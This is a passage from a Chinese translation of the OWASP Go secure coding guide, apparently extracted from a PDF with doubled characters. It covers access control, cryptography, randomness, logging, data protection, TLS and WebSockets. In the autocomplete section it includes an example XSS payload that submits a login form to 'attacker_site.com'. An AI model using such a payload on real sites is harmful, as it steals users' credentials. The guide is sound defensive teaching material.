fmt.Fprintf(res, "<a href=\"login\"> Login </a>") return } ... 完整的例例⼦子,请访问:session.go 在处理理访问控制时,要采取的第⼀一步是仅使⽤用受信任的系统对象进⾏行行访问授权决策。在会话管理理部分提供的示例例中,我们使⽤用JWT实现了了这⼀一点。 JSONWeb令牌在服务器器端⽣生成会话令牌。 // create a JWT and put in the clients cookie func setToken(res http.ResponseWriter, req *http.Request) { //30m Expiration for non-sensitive applications - OWASP expireToken := time.Now().Add(time.Minute * 30).Unix() expireCookie := time.Now().Add(time.Minute * 30) //token Claims claims := Claims{ {...} } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) signedToken, _ := token.SignedString([]byte("secret")) 然后我们可以存储和使⽤用这个令牌来验证⽤用户并强制我们的访问控制模型。 ⽤用于访问授权的组件应该是⼀一个单⼀一的、在站点范围内使⽤用的组件。这包括调⽤用外部授权服务的库。 如果出现故障,访问控制应安全失效。在Go中,我们可以使⽤用Defer来实现这⼀一点。有关详细信息,请参阅⽂文档的错误⽇日志部分。 如果应⽤用程序⽆无法访问其配置信息,则应拒绝对应⽤用程序的所有访问。 应该对每个请求实施授权控制,包括服务器器端脚本以及来⾃自客户端技术(如Ajax或Flash)的请求。 正确地将特权逻辑与应⽤用程序代码的其余部分分开也是很重要的。 为防⽌止未经授权的⽤用户访问,必须执⾏行行访问控制的其他重要操作包括: ⽂文件和其他资源 受保护的URL 受保护功能 直接对象引⽤用 服务 应⽤用程序数据 访问控制 bloodzer0&Lingfighting ⽤用户和数据属性以及策略略信息 在提供的示例例中,测试简单的直接对象引⽤用。此代码基于会话管理理中的示例例构建。 在实现这些访问控制时,重要的是验证访问控制规则的服务器器端实现和表示层表示是否匹配。 如果状态数据需要存储在客户端,则需要使⽤用加密和完整性检查以防⽌止篡改。 应⽤用程序逻辑流必须符合业务规则。 处理理事务时,单个⽤用户或设备在给定时间段内可以执⾏行行的事务数必须⾼高于业务要求,但必须⾜足够低,以防⽌止⽤用户执⾏行行DoS类型的攻击。 重要的是要注意,仅使⽤用referer HTTP头不不⾜足以验证授权,应仅⽤用作补充检查。 对于经过⻓长时间验证的会话,应⽤用程序应定期重新评估⽤用户的授权,以验证⽤用户的权限是否未更更改。如果权限已更更改,请注销⽤用户并强制他们重新进 ⾏行行身份验证。 为了了遵守安全程序,⽤用户帐户还应该有⼀一种审计⽅方法。(例例如,在密码过期30天后禁⽤用⽤用户帐户)。 应⽤用程序还必须⽀支持在⽤用户的授权被撤销时禁⽤用帐户和终⽌止会话。(例例如⻆角⾊色变更更、就业状况等)。 当⽀支持外部服务帐户和⽀支持从外部系统或到外部系统的连接的帐户时,这些帐户必须以尽可能低的权限级别运⾏行行。 让我们让第⼀一句句话像您的加密技术⼀一样强⼤大:哈希和加密是两种不不同的东⻄西。 这是⼀一个普遍的误解,⽽而且⼤大多数时候哈希和加密是交替使⽤用的,错误的。它们是不不同的概念,也有不不同的⽤用途。 哈希是由(哈希)函数从源数据⽣生成的字符串串或数字: hash := F(data) 哈希的⻓长度固定,其值随输⼊入的微⼩小变化⽽而变化很⼤大(仍可能发⽣生冲突)。好的哈希算法不不允许将哈希转换为其原始源。MD5是最流⾏行行的散列列算法, 但安全性blake2被认为是最强和最灵活的。 Go补充加密库提供了了blake2b(或仅blake2)和blake2s实现:前者针对64位平台进⾏行行了了优化,后者针对8到32位平台进⾏行行了了优化。如果blake2不不可 ⽤用,则sha-256是正确的选项。 每当你有⼀一些你不不需要知道它是什什么的东⻄西,但只有当它是应该是什什么的时候(⽐比如下载后检查⽂文件完整性),你应该使⽤用hashing package main import "fmt" import "io" import "crypto/md5" import "crypto/sha256" import "golang.org/x/crypto/blake2s" func main () { h_md5 := md5.New() h_sha := sha256.New() h_blake2s, _ := blake2s.New256(nil) io.WriteString(h_md5, "Welcome to Go Language Secure Coding Practices") io.WriteString(h_sha, "Welcome to Go Language Secure Coding Practices") io.WriteString(h_blake2s, "Welcome to Go Language Secure Coding Practices") fmt.Printf("MD5 : %x\n", h_md5.Sum(nil)) fmt.Printf("SHA256 : %x\n", h_sha.Sum(nil)) fmt.Printf("Blake2s-256: %x\n", h_blake2s.Sum(nil)) } 输出 密码学实践 bloodzer0&Lingfighting MD5 : ea9321d8fb0ec6623319e49a634aad92 SHA256 : ba4939528707d791242d1af175e580c584dc0681af8be2a4604a526e864449f6 Blake2s-256: 1d65fa02df8a149c245e5854d980b38855fd2c78f2924ace9b64e8b21b3f2f82 注意:要运⾏行行源代码示例例,您需要运⾏行行 $go get golang.org/x/crypto/blake2s 另⼀一⽅方⾯面,加密使⽤用密钥将数据转换为可变⻓长度的数据 encrypted_data := F(data, key) 与散列列不不同,我们可以使⽤用正确的解密函数和密钥,从加密的数据中计算数据。 data := F⁻¹(encrypted_data, key) 当您需要通信或存储敏敏感数据时,应使⽤用加密,您或其他⼈人稍后需要访问这些敏敏感数据进⾏行行进⼀一步处理理。⼀一个“简单”的加密⽤用例例是安全的https-hyper- text传输协议。AES是对称密钥加密的事实标准。该算法和其他对称密码⼀一样,可以在不不同的模式下实现。您会注意到在下⾯面的代码示例例中,使⽤用了了 gcm(galois counter模式),⽽而不不是更更流⾏行行的(⾄至少在密码学代码示例例中)cbc/ecb。GCM和CBC/ECB之间的主要区别在于前者是⼀一种经过身份验 证的密码模式,这意味着在加密阶段之后,在密⽂文中添加⼀一个身份验证标签,然后在消息解密之前对其进⾏行行验证,以确保消息没有被篡改。另⼀一⽅方 ⾯面,您有公钥密码术或使⽤用成对密钥的⾮非对称密码术:public和private。在⼤大多数情况下,公钥密码学的性能不不如对称密钥密码学,因此其最常⻅见的 ⽤用例例是使⽤用⾮非对称密码学在双⽅方之间共享对称密钥,这样他们就可以使⽤用对称密钥交换使⽤用对称密码学加密的消息。除了了90年年代的AES技术外,Go 作者已经开始实施和⽀支持更更现代的对称加密算法,这些算法也提供身份验证,例例如chacha20poly1305。 Go中另⼀一个有趣的包是x/crypto/nacl。这是DanielJ.Bernstein博⼠士的Nacl图书馆的参考资料料,它是⼀一个⾮非常流⾏行行的现代密码学图书馆。go中的 nacl/box和nacl/secretbox是nacl为两个最常⻅见的⽤用例例发送加密消息的抽象实现: 使⽤用公钥加密(nacl/box)在双⽅方之间发送经过身份验证的加密消息 使⽤用对称(即密钥)加密技术在双⽅方之间发送经过身份验证的加密消息 如果符合您的⽤用例例,那么最好使⽤用其中⼀一个抽象,⽽而不不是直接使⽤用AES。 bloodzer0&Lingfighting package main import "fmt" import "crypto/aes" import "crypto/cipher" import "crypto/rand" func main() { key := []byte("Encryption Key should be 32 char") data := []byte("Welcome to Go Language Secure Coding Practices") block, err := aes.NewCipher(key) if err != nil { panic(err.Error()) } nonce := make([]byte, 12) if _, err := rand.Read(nonce); err != nil { panic(err.Error()) } aesgcm, err := cipher.NewGCM(block) if err != nil { panic(err.Error()) } encrypted_data := aesgcm.Seal(nil, nonce, data, nil) fmt.Printf("Encrypted: %x\n", encrypted_data) decrypted_data, err := aesgcm.Open(nil, nonce, encrypted_data, nil) if err != nil { panic(err.Error()) } fmt.Printf("Decrypted: %s\n", decrypted_data) } Encrypted: a66bd44db1fac7281c33f6ca40494a320644584d0595e5a0e9a202f8aeb22dae659dc06932d4e409fe35a95d14b1cffacbe3914 460dd27cbd274b0c3a561 Decrypted: Welcome to Go Language Secure Coding Practices 请注意,您应该“建⽴立并使⽤用⼀一个如何管理理加密密钥的策略略和过程”,保护“主秘密不不受未经授权的访问”。也就是说:您的加密密钥不不应该硬编码在源 代码中(如本例例中所示)。 go crypto package收集常⻅见的加密常量量,但实现有⾃自⼰己的包,如crypto/md5包。 ⼤大多数现代密码算法都是在 https://godoc.org/golang.org/x/crypto 下实现的,因此开发⼈人员应该关注那些算法,⽽而不不 是 [crypto/*package](https://golang.org/pkg/crypto/) 。 在OWASP安全编码实践中,您会发现⼀一条似乎⾮非常复杂的准则:“当这些随机值不不可猜测时,所有随机数、随机⽂文件名、随机guid和随机字符串串都应 使⽤用加密模块批准的随机数⽣生成器器⽣生成”,因此让我们来谈谈“随机数”。 密码学依赖于某种随机性,但为了了正确起⻅见,⼤大多数编程语⾔言提供的现成的是⼀一个伪随机数⽣生成器器:go's math/rand不不例例外。 当⽂文档中声明“顶级函数(如float64和int)使⽤用默认共享源时,您应该仔细阅读该⽂文档,该共享源每次运⾏行行程序时都会⽣生成确定的值序 列列。”(source) 这到底是什什么意思?让我们看看 伪随机⽣生成器器 bloodzer0&Lingfighting package main import "fmt" import "math/rand" func main() { fmt.Println("Random Number: ", rand.Intn(1984)) } 运⾏行行这个程序⼏几次会导致完全相同的数字/序列列,但是为什什么呢? $ for i in {1..5}; do go run rand.go; done Random Number: 1825 Random Number: 1825 Random Number: 1825 Random Number: 1825 Random Number: 1825 因为Go's Math/Rand和其他许多⽅方法⼀一样是⼀一个确定性伪随机数⽣生成器器,所以它们使⽤用⼀一个称为seed的源。这个种⼦子只负责确定性伪随机数⽣生成器器 的随机性——如果已知或可预测,⽣生成的数字序列列也会发⽣生同样的情况。 我们可以通过使⽤用math/rand seed function为每个程序执⾏行行获取预期的五个不不同值来“修复”这个例例⼦子,但是因为我们在cryptographic practices部分, 所以我们应该遵循go's crypto/rand package。 package main import "fmt" import "math/big" import "crypto/rand" func main() { rand, err := rand.Int(rand.Reader, big.NewInt(1984)) if err != nil { panic(err) } fmt.Printf("Random Number: %d\n", rand) } 您可能会注意到运⾏行行crypto/rand⽐比math/rand慢,但这是意料料之中的:最快的算法并不不总是最安全的。crypto的rand实现起来也更更安全;⼀一个例例⼦子 是,您不不能种⼦子crypto/rand,库为此使⽤用操作系统随机性,防⽌止开发⼈人员滥⽤用。 $ for i in {1..5}; do go run rand-safe.go; done Random Number: 277 Random Number: 1572 Random Number: 1793 Random Number: 1328 Random Number: 1378 如果您对如何利利⽤用这⼀一点很好奇,那么想想如果您的应⽤用程序在⽤用户注册时创建⼀一个默认密码,通过计算⽤用go's math/rand⽣生成的伪随机数的散列列 值,会发⽣生什什么情况,如第⼀一个示例例所示? 是的,你猜对了了,你就可以预测⽤用户的密码了了! 错误处理理和⽇日志记录是应⽤用程序和基础结构保护的重要组成部分。当提到错误处理理时,它是指捕获应⽤用程序逻辑中可能导致系统崩溃的任何错误,除 ⾮非正确处理理。另⼀一⽅方⾯面,⽇日志记录详细说明了了系统上发⽣生的所有操作和请求。⽇日志记录不不仅允许识别已发⽣生的所有操作,⽽而且有助于确定需要采取哪 些措施来保护系统。由于攻击者有时试图通过删除⽇日志来删除其操作的所有跟踪,因此集中化⽇日志⾄至关重要。 错误处理理和记录 bloodzer0&Lingfighting 在Go中,有⼀一个内置的 error 类型。 error 类型的不不同值表示异常状态。通常在go中,如果错误值不不是nil,则会发⽣生⼀一个错误,并且必须进⾏行行 处理理,以便便允许应⽤用程序在不不崩溃的情况下从所述状态恢复。 Go中的⼀一个简单示例例如下: if err != nil { // handle the error } 不不仅可以使⽤用内置错误,还可以指定⾃自⼰己的错误类型。这可以通过使⽤用erro.New 函数。例例⼦子: {...} if f < 0 { return 0, errors.New("math: square root of negative number") } //If an error has occurred print it if err != nil { fmt.Println(err) } {...} 为了了防⽌止我们需要格式化包含⽆无效参数的字符串串来查看是什什么导致了了错误, fmt 包中的 errorf 函数允许我们这样做。 {...} if f < 0 { return 0, fmt.Errorf("math: square root of negative number %g", f) } {...} 在处理理错误⽇日志时,开发⼈人员应确保在错误响应中不不泄漏漏敏敏感信息,并确保没有错误处理理程序泄漏漏信息(例例如调试或堆栈跟踪信息)。 在Go中还有额外的错误处理理函数,这些函数是恐慌、恢复和延迟。当⼀一个应⽤用程序处于死机状态时,它的正常执⾏行行被中断,任何延迟语句句被执⾏行行, 然后函数返回给它的调⽤用⽅方。recover通常在defer语句句中使⽤用,并允许应⽤用程序重新获得对恐慌例例程的控制权,然后返回正常执⾏行行。以下代码段基于 Go⽂文档解释了了执⾏行行流程: func main () { start() fmt.Println("Returned normally from start().") } func start () { defer func () { if r := recover(); r != nil { fmt.Println("Recovered in start()") } }() fmt.Println("Called start()") part2(0) fmt.Println("Returned normally from part2().") } func part2 (i int) { if i > 0 { fmt.Println("Panicking in part2()!") panic(fmt.Sprintf("%v", i)) } defer fmt.Println("Defer in part2()") fmt.Println("Executing part2()") part2(i + 1) } 错误处理理 bloodzer0&Lingfighting 输出: Called start() Executing part2() Panicking in part2()! Defer in part2() Recovered in start() Returned normally from start(). 通过检查输出,我们可以看到Go如何处理理紧急情况并从中恢复,从⽽而允许应⽤用程序恢复其正常状态。这些函数允许从原本不不可恢复的故障中进⾏行行优 雅的恢复。 值得注意的是,延迟使⽤用还包括互斥锁解锁,或者在执⾏行行了了周围的函数(例例如⻚页脚)之后加载内容。 在⽇日志包中还有⼀一个log.fatal。致命级别是有效地记录消息,然后调⽤用os.exit(1)。这意味着: 将不不执⾏行行defer语句句。 缓冲区将不不会被刷新。 不不会删除临时⽂文件和⽬目录。 考虑到前⾯面提到的所有点,我们可以看到log.fatal与恐慌的区别,以及应该谨慎使⽤用它的原因。可能使⽤用log.fatal的⼀一些示例例包括: 设置⽇日志记录并检查我们是否有健全的环境和参数。如果我们不不这样做,那么就不不需要执⾏行行main()。 ⼀一个永远不不会发⽣生的错误,我们知道它是不不可恢复的。 如果⼀一个⾮非交互进程遇到错误⽽而⽆无法完成,则⽆无法将此错误通知⽤用户。最好先停⽌止执⾏行行,然后再从失败中出现其他问题。 初始化失败的例例⼦子说明: func init(i int) { ... //This is just to deliberately crash the function. if i < 2 { fmt.Printf("Var %d - initialized\n", i) } else { //This was never supposed to happen, so we'll terminate our program. log.Fatal("Init failure - Terminating.") } } func main() { i := 1 for i < 3 { init(i) i++ } fmt.Println("Initialized all variables successfully") 重要的是要确保在与安全控制相关联的错误情况下,默认情况下拒绝访问。 ⽇日志记录应始终由应⽤用程序处理理,不不应依赖服务器器配置。 所有⽇日志记录都应该由受信任系统上的主例例程实现,开发⼈人员还应该确保⽇日志中不不包含敏敏感数据(例例如密码、会话信息、系统详细信息等),也不不存 在任何调试或堆栈跟踪信息。此外,⽇日志记录应该包括成功和失败的安全事件,重点是重要的⽇日志事件数据。 重要事件数据通常指: 所有输⼊入验证失败。 所有身份验证尝试,尤其是失败。 所有访问控制失败。 所有明显的篡改事件,包括对状态数据的意外更更改。 ⽇日志 bloodzer0&Lingfighting 使⽤用⽆无效或过期的会话令牌进⾏行行连接的所有尝试。 所有系统异常。 所有管理理功能,包括对安全配置设置的更更改。 所有后端TLS连接故障和加密模块故障。 ⼀一个简单的⽇日志示例例说明了了这⼀一点: func main() { var buf bytes.Buffer var RoleLevel int logger := log.New(&buf, "logger: ", log.Lshortfile) fmt.Println("Please enter your user level.") fmt.Scanf("%d", &RoleLevel) //<--- example switch RoleLevel { case 1: // Log successful login logger.Printf("Login successfull.") fmt.Print(&buf) case 2: // Log unsuccessful Login logger.Printf("Login unsuccessful - Insufficient access level.") fmt.Print(&buf) default: // Unspecified error logger.Print("Login error.") fmt.Print(&buf) } } 实现通⽤用错误消息或⾃自定义错误⻚页也是⼀一个好的实践,以确保在发⽣生错误时不不会泄漏漏任何信息。 根据⽂文档,Go log package “实现简单的⽇日志记录”,缺少⼀一些常⻅见和重要的功能,例例如级别化的⽇日志记录(例例如,调试、信息、警告、错误、致命、 死机)和格式化程序⽀支持(例例如,logstash):这是使⽇日志可⽤用的两个重要功能(例例如,⽤用于与安全信息和事件集成)管理理体系)。 ⼤大多数(如果不不是全部)第三⽅方⽇日志记录包都提供这些功能和其他功能。以下是⼀一些后流⾏行行的第三⽅方⽇日志记录包: Logrus - https://github.com/Sirupsen/logrus glog - https://github.com/golang/glog loggo - https://github.com/juju/loggo 关于Go's log package的⼀一个重要注意事项是:致命的和紧急的函数都⽐比⽇日志功能做得更更多。panic函数在写⼊入⽇日志消息后调⽤用panic库通常不不接受的 内容,⽽而致命的函数调⽤用os。在写⼊入⽇日志消息后退出(1)可能终⽌止程序以阻⽌止延迟语句句运⾏行行、要刷新的缓冲区和/或要删除的临时数据。 从⽇日志访问的⻆角度来看,只有授权的个⼈人才可以访问⽇日志。开发⼈人员还应确保设置了了允许⽇日志分析的机制,并确保不不受信任的数据不不会作为代码在预 期的⽇日志查看软件或界⾯面中执⾏行行。 关于分配的内存清理理,Go有⼀一个内置的垃圾收集器器。 作为确保⽇日志有效性和完整性的最后⼀一步,应使⽤用加密哈希函数作为附加步骤,以确保不不会发⽣生⽇日志篡改。 bloodzer0&Lingfighting {...} // Get our known Log checksum from checksum file. logChecksum, err := ioutil.ReadFile("log/checksum") str := string(logChecksum) // convert content to a 'string' // Compute our current log's MD5 b, err := ComputeMd5("log/log") if err != nil { fmt.Printf("Err: %v", err) } else { md5Result := hex.EncodeToString(b) // Compare our calculated hash with our stored hash if str == md5Result { // Ok the checksums match. fmt.Println("Log integrity OK.") } else { // The file integrity has been compromised... fmt.Println("File Tampering detected.") } } {...} 注意: computemd5() 函数计算⽂文件的md5。同样重要的是,必须将⽇日志⽂文件哈希存储在安全的地⽅方,并与当前⽇日志哈希进⾏行行⽐比较,以在对⽇日志 进⾏行行任何更更新之前验证完整性。⽂文档中包含完整的源代码。 现如今,安全中最重要的事情之⼀一就是数据保护。你不不会想要: 简⽽而⾔言之,Web应⽤用程序中的数据需要受到保护,因此在本节中,我们将研究保护数据的不不同⽅方法。 你应该注意的第⼀一件事是为每个⽤用户创建和实 现正确的权限,并将⽤用户仅限于他们真正需要的功能。 例例如,考虑⼀一个具有以下⽤用户⻆角⾊色的简单在线商店: 销售⽤用户:只允许查看⽬目录 营销⽤用户:允许查看统计数据 开发⼈人员:允许修改⻚页⾯面和web应⽤用程序选项 此外,在系统配置(⼜又称为web服务器器)中,应该定义正确的权限。 主要是为每个⽤用户定义正确的⻆角⾊色 —— web⽤用户或系统⽤用户。 访问控制部分,将 进⼀一步讨论⻆角⾊色分离和访问控制。 数据保护 bloodzer0&Lingfighting 包含敏敏感信息的临时⽂文件和缓存⽂文件应该在不不需要时⽴立即删除。如果你仍然需要它们中的某些内容,将它们移到受保护的区域或对它们加密。 有时候开发⼈人员会在源代码中留留下类似于To-do列列表的注释,还有时候,在最坏的情况下,开发⼈人员可能会留留下凭证。 // Secret API endpoint - /api/mytoken?callback=myToken fmt.Println("Just a random code") 在上⾯面的例例⼦子中,开发⼈人员在注释中有⼀一个 endpoint ,如果没有得到很好的保护,则可能被恶意⽤用户使⽤用。 使⽤用HTTP GET⽅方法传递敏敏感信息会使web应⽤用程序容易易受到攻击,因为: 1. 如果不不使⽤用HTTPS,通过MITM攻击,数据可能被拦截。 2. 浏览器器历 史记录存储⽤用户的信息。如果URL中,带有未过期的 session IDs 、 pins 或 tokens (或低熵值),则它们可能被窃取。 req, _ := http.NewRequest("GET", "http://mycompany.com/api/mytoken?api_key=000s3cr3t000", nil) 如果web应⽤用程序使⽤用你的api_key从第三⽅方⽹网站获取信息,那么如果有⼈人在监听你的⽹网络,那么这些信息可能会被窃取。这是因为不不使⽤用HTTPS和 使⽤用GET⽅方法传递参数。 此外,如果你的web应⽤用程序有指向示例例站点的链接: http://mycompany.com/api/mytoken?api_key=000s3cr3t000 它将存储在你的 浏览器器历史记录中,因此,它也可能被窃取。 解决⽅方案是,应该始终使⽤用HTTPS。此外,尝试使⽤用POST⽅方法传递参数,如果可能的话,只使⽤用⼀一次性的session id或token。 你应该始终删除⽣生产环境上的应⽤用程序和系统⽂文档。有些⽂文档可能会公开⼀一些版本或功能(例例如Readme、Changelog等),这些功能可以被⽤用来攻击 web应⽤用程序。 作为开发⼈人员,你应该允许⽤用户删除不不再使⽤用的敏敏感信息。假设⽤用户帐户上的信⽤用卡过期了了,想要删除它们 — web应⽤用程序应该允许这样做。 所有不不再需要的信息必须从应⽤用程序中删除。 web应⽤用程序中,每个⾼高度敏敏感的信息都应该加密。使⽤用Go中提供的军⽤用级加密;有关更更多信息,请参⻅见加密实践部分。 如果需要在其他地⽅方执⾏行行的的代码,那么只需编译并共享⼆二进制⽂文件 — 没有可靠的解决⽅方案来防⽌止逆向⼯工程。 获得访问代码的不不同权限并限制源代码的访问是最好的⽅方法。 不不要在客户端以明⽂文或任何⾮非加密安全的⽅方式存储密码、连接字符串串(参⻅见“数据安全 部分,如何保护数据库连接字符串串的示例例”⼀一节)或其他敏敏感信 息。这些敏敏感信息还包括以不不安全的格式嵌⼊入的内容(如Adobe flash或已编译的代码)。 go中,使⽤用外部包 golang.org/x/crypto/nacl/secretboxin 进⾏行行加密的⼩小例例⼦子: 删除敏敏感信息 注释 URL 信息就是⼒力力量量 加密是关键 bloodzer0&Lingfighting // Load your secret key from a safe place and reuse it across multiple // Seal calls. (Obviously don't use this example key for anything // real.) If you want to convert a passphrase to a key, use a suitable // package like bcrypt or scrypt. secretKeyBytes, err := hex.DecodeString("6368616e676520746869732070617373776f726420746f206120736563726574") if err != nil { panic(err) } var secretKey [32]byte copy(secretKey[:], secretKeyBytes) // You must use a different nonce for each message you encrypt with the // same key. Since the nonce here is 192 bits long, a random value // provides a sufficiently small probability of repeats. var nonce [24]byte if _, err := rand.Read(nonce[:]); err != nil { panic(err) } // This encrypts "hello world" and appends the result to the nonce. encrypted := secretbox.Seal(nonce[:], []byte("hello world"), &nonce, &secretKey) // When you decrypt, you must use the same nonce and key you used to // encrypt the message. One way to achieve this is to store the nonce // alongside the encrypted message. Above, we stored the nonce in the first // 24 bytes of the encrypted text. var decryptNonce [24]byte copy(decryptNonce[:], encrypted[:24]) decrypted, ok := secretbox.Open([]byte{}, encrypted[24:], &decryptNonce, &secretKey) if !ok { panic("decryption error") } fmt.Println(string(decrypted)) 输出: hello world 另⼀一种简单有效的缓解攻击的⽅方法是确保在系统中禁⽤用任何不不必要的应⽤用程序或服务。 根据Mozilla⽂文档,您可以在整个表单中,使⽤用以下⽅方法禁⽤用⾃自动完成功能: <form method="post" action="/form" autocomplete="off"> 或特定的表单元素: <input type="text" id="cc" name="cc" autocomplete="off"> 这对于在登录表单上禁⽤用⾃自动完成功能特别有⽤用。假设在登录⻚页⾯面中存在XSS向量量。如果恶意⽤用户创建了了如下有效负载: window.setTimeout(function() { document.forms[0].action = 'http://attacker_site.com'; document.forms[0].submit(); } ), 10000); 禁⽤用不不需要的内容 ⾃自动完成 bloodzer0&Lingfighting 它将⾃自动填充表单字段发送到 attacker_site.com 。 ⻚页⾯面中,包含敏敏感信息的缓存控制应该被禁⽤用。 这可以通过设置相应的header标志来实现,如下⾯面的代码⽚片段所示: w.Header().Set("Cache-Control", "no-cache, no-store") w.Header().Set("Pragma", "no-cache") no-cache 告诉浏览器器在使⽤用任何缓存信息之前与服务器器重新验证(防⽌止从缓存中获取过期的资源),⽽而不不是告诉浏览器器不不要缓存。 另⼀一⽅方⾯面, no-store 值实际上是 — 停⽌止缓存!,并且不不能存储请求或响应的任何部分。 Pragma 头⽤用于⽀支持HTTP/1.0请求。 在讨论通信安全性时,开发⼈人员应该确保⽤用于通信的通道是安全的。通信类型包括服务器器-客户端、服务器器-数据库以及所有后端通信。这些数据必须 加密,以保证数据的完整性,并防⽌止与通信安全相关的常⻅见攻击。如果不不能保证这些通道的安全,就会发⽣生像MITM这样的攻击,让犯罪分⼦子拦截并 读取这些通道中的流量量。 本节涵盖以下通讯渠道: - HTTP/TLS - Websockets TLS/SSL是⼀一种加密协议,它允许在其他不不安全的通信通道上进⾏行行加密。它最常⻅见的⽤用途是提供安全的HTTP通信,也称为HTTPS。该协议确保以下 属性适⽤用于通信通道: 隐私 身份验证 数据完整性 它在Go中的实现在 crypto/tls 包中。在本节中,我们将重点介绍Go的实现和⽤用法。虽然协议设计的理理论部分和它的加密实践超出了了本⽂文的范 围,但是本⽂文档的加密实践 部分还是提供了了更更多信息。 以下是使⽤用TLS的HTTP的简单示例例: import "log" import "net/http" func main() { http.HandleFunc("/", func (w http.ResponseWriter, req *http.Request) { w.Write([]byte("This is an example server.\n")) }) // yourCert.pem - path to your server certificate in PEM format // yourKey.pem - path to your server private key in PEM format log.Fatal(http.ListenAndServeTLS(":443", "yourCert.pem", "yourKey.pem", nil)) } 这是⼀一个,在⽤用Go实现的web服务器器中,简单的开箱即⽤用的SSL实现。值得注意的是,这个示例例在SSL实验室中获得了了“A”。 为了了进⼀一步提⾼高通信安全,可以在header中添加以下标志,以强制执⾏行行HSTS (HTTP严格传输安全): w.Header().Add("Strict-Transport-Security", "max-age=63072000; includeSubDomains") Go的TLS实现在crypto/ TLS包中。在使⽤用TLS时,请确保使⽤用了了单个标准TLS实现,并对其进⾏行行了了适当的配置。 基于前⾯面的例例⼦子实现SNI(Server Name Indication): 缓存 通信安全 HTTP/TLS bloodzer0&Lingfighting ... type Certificates struct { CertFile string KeyFile string } func main() { httpsServer := &http.Server{ Addr: ":8080", } var certs []Certificates certs = append(certs, Certificates{ CertFile: "../etc/yourSite.pem", //Your site certificate key KeyFile: "../etc/yourSite.key", //Your site private key }) config := &tls.Config{} var err error config.Certificates = make([]tls.Certificate, len(certs)) for i, v := range certs { config.Certificates[i], err = tls.LoadX509KeyPair(v.CertFile, v.KeyFile) } conn, err := net.Listen("tcp", ":8080") tlsListener := tls.NewListener(conn, config) httpsServer.Serve(tlsListener) fmt.Println("Listening on port 8080...") } 需要注意的是,在使⽤用TLS时,证书应该是有效的,拥有正确的域名,不不应该过期,并且应该在需要时安装中间证书,如OWASP SCP快速参考指南 所建议的那样。 重要提示:⽆无效的TLS证书应该始终被拒绝。确保在⽣生产环境中,没有将InsecureSkipVerify配置设置为true。 以下代码段是如何设置的示例例: config := &tls.Config{InsecureSkipVerify: false} 使⽤用正确的主机名以设置服务器器名称: config := &tls.Config{ServerName: "yourHostname"} 另⼀一种已知的TLS攻击被称为POODLE。 当客户端不不⽀支持服务器器的密码时,它与TLS连接回退有关。 这允许将连接降级为易易受攻击的密码。 默认情况下,Go禁⽤用SSLv3,可以使⽤用以下配置,来设置密码的最⼩小版本和最⼤大版本: // MinVersion contains the minimum SSL/TLS version that is acceptable. // If zero, then TLS 1.0 is taken as the minimum. MinVersion uint16 // MaxVersion contains the maximum SSL/TLS version that is acceptable. // If zero, then the maximum version supported by this package is used, // which is currently TLS 1.2. MaxVersion uint16 可以通过SSL实验室,来检查,使⽤用的密码的安全性。 ⼀一个通常⽤用于减轻降级攻击的附加标志,是RFC7507中定义的TLSFALLBACKSCSV。 在Go中,没有回退。 引⽤用Google开发者Adam Langley的话: bloodzer0&Lingfighting Go客户端不不执⾏行行回退,因此不不需要发送TLSFALLBACKSCSV。 另⼀一种称为CRIME的攻击会影响使⽤用压缩的TLS会话。 压缩是核⼼心协议的⼀一部分,但它是可选的。⽤用Go语⾔言编写的程序可能并不不容易易受到攻击,原 因很简单,因为⽬目前 crypto/tls 不不⽀支持压缩机制。⼀一个需要记住的重要注意事项是,如果Go包装器器⽤用于外部安全库,应⽤用程序可能很容易易受到 攻击。 TLS的另⼀一部分与重新协商连接有关。为了了确保没有建⽴立不不安全的连接,请使⽤用 GetClientCertificate 及其相关的错误代码,以防握⼿手终⽌止。 可以捕获错误代码以防⽌止使⽤用不不安全的通道。 所有请求也应编码为预定的字符编码,例例如UTF-8。 这可以在header中设置: w.Header().Set("Content-Type", "Desired Content Type; charset=utf-8") 处理理HTTP连接时的另⼀一个重要⽅方⾯面是,验证HTTP头在访问外部站点时,不不包含任何敏敏感信息。既然连接可能不不安全,那么HTTP报头就可能泄漏漏信 息。 WebSocket是为HTML 5开发的⼀一种新的浏览器器功能,它⽀支持完全交互式应⽤用程序。使⽤用WebSockets,浏览器器和服务器器都可以通过⼀一个TCP套接字发 送异步消息,⽽而⽆无需使⽤用⻓长轮询或短轮训。 本质上,WebSocket是客户机和服务器器之间的标准双向TCP套接字。这个套接字以常规HTTP连接开始,然后在HTTP握⼿手之后“升级”为TCP套接字。 任何⼀一⽅方都可以在握⼿手之后发送数据。 HTTP Websocket握⼿手中的 Origin header⽤用于确保Websocket接受的连接来⾃自可信的原始域。执⾏行行失败可能导致跨站点请求伪造(CSRF)。 服务器器负责在初始HTTP WebSocket握⼿手中验证Origin头。 如果服务器器未在初始WebSocket握⼿手中验证原始header,则WebSocket服务器器可能接受 来⾃自任何源的连接。 Websockets Origin header bloodzer0&Lingfighting 以下示例例使⽤用Origin头检查,以防⽌止攻击者执⾏行行CSWSH(跨站点WebSocket劫持)。 应⽤用程序应该验证 Host 和 Origin ,以确保请求的 Origin 是可信任的 Origin ,否则拒绝连接。 下⾯面的代码⽚片段演示了了⼀一个简单的检查: //Compare our origin with Host and act accordingly if r.Header.Get("Origin") != "http://"+r.Host { http.Error(w, "Origin not allowed", 403) return } else { websocket.Handler(EchoHandler).ServeHTTP(w, r) } Websocket通信通道可以通过未加密的TCP或加密的TLS建⽴立。 当使⽤用未加密的Websockets时, URI scheme 是 ws:// ,其默认端⼝口是 80 。如果使⽤用TLS Websockets, URI scheme 是 wss:// ,默认 端⼝口是 443 。 涉及到Websockets时,⽆无论是使⽤用TLS⽅方式还是⽤用未加密⽅方式,我们必须考虑原始连接。 在本节中,我们将展示连接从HTTP升级到Websocket时发送的信息,以及如果处理理不不当所带来的⻛风险。在第⼀一个示例例中,我们看到常规HTTP连接正 在升级到Websocket连接: 注意,请求头包含此次会话的cookie。为确保不不泄漏漏敏敏感信息,升级连接时应该使⽤用TLS。如下图所示: 机密性和完整性 bloodzer0&Lingfighting 在后⼀一个例例⼦子中,和Websocket⼀一样,我们的连接升级请求使⽤用SSL: Websockets不不处理理认证或授权,这意味着必须使⽤用诸如cookie、HTTP身份验证或TLS身份验证等机制来确保安全性。有关这⽅方⾯面的更更详细信息,请 参阅本⽂文档的“身份验证”和“访问控制”部分。 